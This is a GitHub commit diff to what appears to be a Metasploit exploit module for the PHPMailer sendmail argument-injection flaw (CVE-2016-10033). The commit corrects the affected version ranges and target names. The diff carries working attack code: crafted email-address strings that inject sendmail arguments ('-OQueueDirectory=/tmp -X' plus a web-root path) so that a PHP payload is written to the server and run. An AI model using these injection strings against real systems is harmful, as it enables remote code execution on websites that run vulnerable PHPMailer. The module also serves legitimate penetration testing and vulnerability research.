Skip to content

Commit cd90fd3

Browse files
committed
Fix PHPMailer targets since 5.2.20 is not affected
1 parent 1eab4b3 commit cd90fd3

File tree

1 file changed

+8
-6
lines changed

1 file changed

+8
-6
lines changed

modules/exploits/multi/http/phpmailer_arg_injection.rb

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'PHPMailer Sendmail Argument Injection',
1717
'Description' => %q{
18-
PHPMailer versions up to and including 5.2.20 are affected by a
18+
PHPMailer versions up to and including 5.2.19 are affected by a
1919
vulnerability which can be leveraged by an attacker to write a file with
2020
partially controlled contents to an arbitrary location through injection
2121
of arguments that are passed to the sendmail binary. This module
@@ -31,6 +31,8 @@ def initialize(info = {})
3131
'License' => MSF_LICENSE,
3232
'References' => [
3333
['CVE', '2016-10033'],
34+
['CVE', '2016-10045'],
35+
['EDB', '40968'],
3436
['EDB', '40969'],
3537
['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
3638
['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
@@ -40,8 +42,8 @@ def initialize(info = {})
4042
'Arch' => ARCH_PHP,
4143
'Payload' => {'DisableNops' => true},
4244
'Targets' => [
43-
['PHPMailer <=5.2.18', {}],
44-
['PHPMailer 5.2.20', {}]
45+
['PHPMailer <5.2.18', {}],
46+
['PHPMailer 5.2.18 - 5.2.19', {}]
4547
],
4648
'DefaultTarget' => 0
4749
))
@@ -95,10 +97,10 @@ def exploit
9597
payload_file_name = "#{rand_text_alphanumeric(8)}.php"
9698
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
9799

98-
if target.name == 'PHPMailer <=5.2.18'
100+
if target.name == 'PHPMailer <5.2.18'
99101
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
100-
elsif target.name == 'PHPMailer 5.2.20'
101-
email = "\\\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\\\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
102+
elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
103+
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
102104
else
103105
fail_with(Failure::NoTarget, 'The specified version is not supported')
104106
end

0 commit comments

Comments
 (0)